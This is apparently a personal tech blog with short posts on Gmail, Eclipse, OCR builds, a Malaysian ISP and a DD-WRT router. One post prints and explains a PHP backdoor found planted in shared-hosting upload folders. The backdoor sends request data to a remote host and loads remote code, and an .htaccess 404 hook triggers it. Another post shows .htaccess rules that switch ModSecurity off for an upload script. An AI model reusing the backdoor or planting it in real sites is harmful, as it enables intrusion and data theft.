Gmail Going Offline

Read the title again. Gmail is going offline soon and that’s the truth. Scared yet?

Gmail is actually testing out a new lab feature: Offline Gmail

The video featured in the official blog looks really cool, and they are currently opening the lab feature for testing in the UK and US. Seeing how many emails I store in my Gmail account, I am scared to test it out when it comes available for me. One thing for sure, all these emails require storage on the local hard disk.

The feature requires Google Gears to work, where local application files are cached in the local browser for immediate use. WordPress has this feature since the last available version and it has worked well for me.

I wonder if there is any option to only sync emails according to their age, so that I don’t have to sync the whole thing. I’ll wait and see.

Nevertheless, this is a very useful feature. Bravo!

Line Numbers in EPIC + Eclipse

When I was using Europa I was baffled by the inability to get line numbers to be displayed in my Perl source codes (using EPIC). Since PDT 2.0 has been released I decided to upgrade to Ganymede (3.4.1) but I still face the same issue:


I was thinking that the right-click context menu might be defective so I decided to thoroughly dig the preferences.


Guess what? Nothing happened. I finally realized that there is a separate setting honored by EPIC:


Now I am happy. Is this only my problem or anyone out there is facing the same issue?

My overall experience so far with Ganymede is great. The software update menu works faster and the dependency solver no longer freezes my machine. Bravo to the Eclipse Foundation. I decided to upgrade my Aptana plugin as well. Let’s see how it goes.

OCRopus and Tesseract Binaries

After I wrote about Ocropus and Tesseract in July, I received 4 requests for the binaries. Two requested using the comments and two requested via email.

The truth is that it ain’t easy to upload files that big because my upload speed is 1/4 of my download speed. It’s worst today (see the previous post).

However since I promised to upload them here they are, uploaded in rapidshare. I am avoiding to use my hosting bandwidth just in case these become too popular.

Tesseract binaries e7c90901a896eb44ffb500d4e8831bdf
Ocropus binaries c46466b7626436d797425f09e5b2fc7f

To install Tesseract you only need the normal make installed:

$ tar xfvz tesseract-2.01-compiled.tar.gz
$ cd tesseract-2.01
$ make install

To install Ocropus you would need Jam. Download and install it.

After jam has been installed:

$ tar xfvz ocropus-0.2-compiled.tar.gz
$ cd ocropus-0.2
$ jam install

Please take note that this is an old version of Ocropus (0.2) there is a new version available (0.3.1). The same goes for Tesseract (2.01 compared to 2.03). I simply have no time to work on the new version and I am not going to use it for my OCR related personal project.

And oh yes… please remember that since these were compiled under Cygwin you will definitely need to run them with Cygwin DLL due to dynamic linking.

I don’t have any guarantee or support whatsoever for the files, and you are using them at your own risk. These are NOT official builds.


What Happened to My Upload Speed?

For quite some time I have been working from home with no difficulties, and I am happy with the speed. Sometimes I even have 3 or 4 terminal service windows open, juggling between them to complete my tasks.

However this morning when I tried to utilize my Nortel IP Softphone 2050 to call my boss for the weekly 1 to 1 meeting the software kept crashing on me. It was the same case when I called my cell as a test.

And so I decided to poke around everything and digging up stats for my home network. Do you know what I found? I found out that my upload speed has been capped to 64kbps. What the hell happened? Rebooting the modem didn’t help.

Here is a screen capture from my AM300 router:

I am too old to rant too much, and I am too tired to give them a call just to have them go through the usual routine of plugging and unplugging.

This is the moment where I really pray that a better service would be introduced. I am truly tired with TMNET’s incompetent service. This is a low class service. And because it’s government linked we have no choice. Two of the Internet giants are both government linked. I am sad.

Gmail Stickers!

I was casually browsing the Official Gmail Blog this morning and saw that Gmail is giving away free Gmail stickers. The only thing you need to do is to send a self-stamped envelope to:

Send me some Gmail stickers already
P.O. Box 391420
Mountain View, CA 94039-1420

For International requests, we need to send the envelope along with a International reply coupon.

Unfortunately for me and other Malaysians, Pos Malaysia does not sell IRC. Yes, I called them at 1 300 300 300 hotline and they said they don’t have the service. Bummer! I am so disappointed!

I wonder if Google accept cheques or deduct some from my Adsense account already!

This Is Not SPAM

Since the past 2 weeks I have been receiving funny and annoying emails that start exactly like this:

And each of them is actually promoting different programs: i.e. easy money, forex investments. Translation:

Don’t these idiots know that when they start sending unrequested emails to multiple recipients at the same time, it’s considered SPAM?

So if I see one of them and kick them I can say: “I am not kicking you”.

Upload Folder Invasions and Security

I was doing a routine backup job for a client’s website hosted on Exabytes the other day and noticed something funny. There were supposed to be image, pdf, and video files in the upload folders but there were also .htaccess and PHP files in the main upload folder and each of the subfolders.

The first thing that crossed my mind was that my code was not secure enough – it’s difficult to handle Flash upload security so I used some most basic techniques to prevent illegal uploads. However I decided to venture into Internet Webhosting’s server (I also have an account there) and saw the same thing happening on a fellow blogger’s WordPress upload folder – which coincidentally is in the same server as my other account. I have so many “other” accounts I sometimes lost track.

Testing further I found that I am able to manipulate files located in other’s upload folder if the permission of 777 (drwxrwxrwx) is set. I was able to create new files, move existing files, and even worst delete them. Technically this is because the webserver process (apache for Apache 1.x and httpd for Apache 2.x) most usually runs as the user nobody or other common user account on the server. So it really does not matter who runs a PHP file from the browser, the server thinks the user always have the proper permission.

So in a normal shared hosting other users are actually able to copy your source code if you’re running a custom one (in contrast to WordPress which is publicly available).

This problem does not relate to other parts of the website or the database.

I am NOT going to post the codes that I use to check and test these claims, so it’s really up to you whether or not to trust me.

However the following code was in the foreign PHP files (they named using numbers – XXXXX.php), and they were in one line most probably to prevent people from understanding it. I cleaned it up to improve readability

< ?php
$a = (isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
$d = (isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
$z = "/?" . base64_encode($a) . "." . base64_encode($b) . "." . base64_encode($c) . "." . base64_encode($d) . "." . base64_encode($e) . "." . base64_encode($f) . "." . base64_encode($g) . "." . base64_encode($h) . ".e." . base64_encode($i) . "." . base64_encode($j);
$f = base64_decode("cGhwc2VhcmNoLmNu");
if (basename($c) == basename($i) && isset($_REQUEST["q"]) && md5($_REQUEST["q"]) == "51e1225f5f7bca58cb02a7cf6a96dddd") 
	$f = $_REQUEST["id"];
else if($c = file_get_contents(base64_decode("aHR0cDovLzcu").$f.$z))
	$cu = curl_init(base64_decode("aHR0cDovLzcxLg==").$f.$z);
	$o = curl_exec($cu);

Lines 3-12 collects data about the request.
Line 14 dumps all of the collected information to a variable $z
$f is the variable that holds the URL of the culprit:

print base64_decode('cGhwc2VhcmNoLmNu');

Lines 16-17 handles some queries (I think if the request comes from them).
Line 18 tries to include the remote file

print base64_decode('aHR0cDovL2FkczEu');

Line 19 tries to load the remote file

print base64_decode('aHR0cDovLzcu');

And the final attempt in lines 23-27 tries to use the CURL extension to load

print base64_decode('aHR0cDovLzcxLg==');

How is this possible? Well, they also uploaded .htaccess files that looks like this:

Options -MultiViews
ErrorDocument 404 //path/to/upload/folder/subfolder/XXXXXX.php

And yes, it only activates if a 404 (file not found) is encountered on the folder. But still, I don’t like the intrusion. Wouldn’t you?

I can’t really think of any workaround to the permission problem as users will always have to change the permission of upload folder to 777. Even changing the group ownership to the group used by the httpd process will not prevent access to other users.

However GoDaddy seems to have a good technique in overcoming this problem as I can’t access other users’ folders. It has been a while since I wanted to find out how they implemented this – I noticed it the first time I use their hosting since I didn’t have to change permissions for my upload folders.

PayPal in Bahasa Melayu

I recently received an email from PayPal announcing that they now support additional languages. One of them is my native tongue, Bahasa Melayu.

However when I clicked on the Malaysia flag it directs me to the same page as Bahasa Indonesia. Although many part of the Internet has already acknowledged and are well aware that these two languages are different, I am a tad surprised that PayPal is not one of them 🙂


2.59MB/Sec Download

I had to download the Flex SDK for work today and when I saw the file size I thought I can take some time to get coffee and a smoking break but I was wrong. I am not making it a big deal but I guess home users in Malaysia has never experienced this before.

The 118MB file was downloaded in less than a minute!

Oh yes, the file is downloaded to a server in the HQ in Massachusetts.

How I wish I get that at home! I am wondering whether US homes also get the same kind of speed. My dear US readers could you please shed some light upon us?

Weird IP Mismatch on TMNET Network

Tonight’s Internet access was annoyingly slow so I thought of recycling my ADSL connection. Out of habit I opened up and was presented with a weird IP.

The top text with black background is the actual IP my router was assigned with (

And then I recycled my ADSL connection. The new IP was However when I opened the site above again it still shows me the same IP. There is something fishy about this.

I tried ProxyWay and here’s what I got:

And here’s from CheckIP:

The two sites that gave me the correct and matching IP are IPChicken and IP-adress:

What the hell is wrong? Since TMNET has the reputation of doing stupid things right now I am thinking that they are testing some kind of HTTP bypassing. This is because the other traffic that I tested was not affected (e.g. SSH and FTP) and I see my “real” IP fine.

Anyone else is experiencing this twilight-zone scenario?

Flash Uploader Error

I was using YUI Uploader for a personal project and it works very well on my development notebook and server. However when the code is live on the server the Flash uploader failed with this error message:

[IOErrorEvent type="ioError" bubbles=false cancelable=false eventPhase=2 text="Error #2038"]

After a while I realized that it must be something server-side because when I used WireShark to see the traffic the server returns Error 500. The traffic is not captured by Firebug because it is Flash traffic.

The culprit is ModSecurity, a third party module used by most hosting companies. ModSecurity is a web application firewall that can work either embedded into Apache or as a reverse proxy.

A quick fix to allow uploads is to include these in the .htaccess file. These handle different Apache and ModSecurity versions and since we include the IfModule directive if the module is unavailable no error will be thrown. This relieves the need to consider what version of Apache and ModSecurity is used on the server.

For this example the script that handles the upload is named upload.php.

# Apache 1.x and ModSecurity 1.x
<IfModule mod_security.c>
   <Files upload.php>
      SecFilterEngine Off
      SecFilterScanPOST Off

# Apache 2.x and ModSecurity 1.x
<IfModule security_module>
   <Files upload.php>
      SecFilterEngine Off
      SecFilterScanPOST Off

# Apache 2.x and ModSecurity 2.x
<IfModule security2_module>
   <Files upload.php>
      SecRuleEngine Off
      SecRequestBodyAccess Off

That’s it! This fixes the Flash uploader problem.

By the way it might be useful to let you know that this issue was encountered on a server hosted under the Ebiz Linux package by Exabytes.

New Maybank2u Sucks

Yesterday I was trying to pay my overdue house rental that I have forgotten to pay because of the Hari Raya holidays (sorry landlord!). When I load Maybank2u it was fine at a glance, and the new design looks super cool!

However when I tried to login and use the functions I was disappointed. Logging in takes ages, and the pages seems to time out a lot. With the nice design, a simple addition of an AJAX loading image makes the site looks like an AJAX application. It’s most certainly not – Firebug helped me confirm. And for whatever reason the AJAX loading image is displayed on top of text. Go figure.

While navigating through the site I received errors multiple time, at at one time while loading it logged me out because the session has expired.

Yes, I am complaining because I am a regular user of Maybank2u. Please do something?

[UPDATE] Maybank2u has disabled the new interface. Now when you click on the login button you’ll be brought to its old interface. Thanks for that.

Setting DD-WRT Cron Job Through Command Line

I managed to get OpenVPN running on my DD-WRT v2.2 router, with the instructions from the wiki.

However after a few reboot tests I saw that OpenVPN died immediately after it started, with no traceable reasons.

Sep 12 00:51:10 192.168.xx.xx openvpn[3940]: TUN/TAP device tap0 opened
. . .
Sep 12 00:51:11 192.168.xx.xx openvpn[3949]: Initialization Sequence Completed

I suspect it has got to do with the fact that my ppp0 (ADSL) connection takes some time to activate.

So I thought of doing a check using cron – if OpenVPN is not running, run it.

The command I wrote was:

But the bad news is that when I enter this command in the cron box inside the Web Administration GUI the single quotes get translated into the HTML entity, and this becomes permanent in the nvram and also in /tmp/cron.d/cron_jobs. Damn.

So I thought of using the command line. Here’s what I did in the SSH shell:

At this point if you don’t want to reboot your router, enter these into /tmp/cron.d/cron_jobs and restart cron using stopservice cron && startservice cron.

And I’m all set!

I hope the IT team from my company is not reading this, but I also have a vpnc daemon running on the router to connect to my company network and I do the same check as above 😉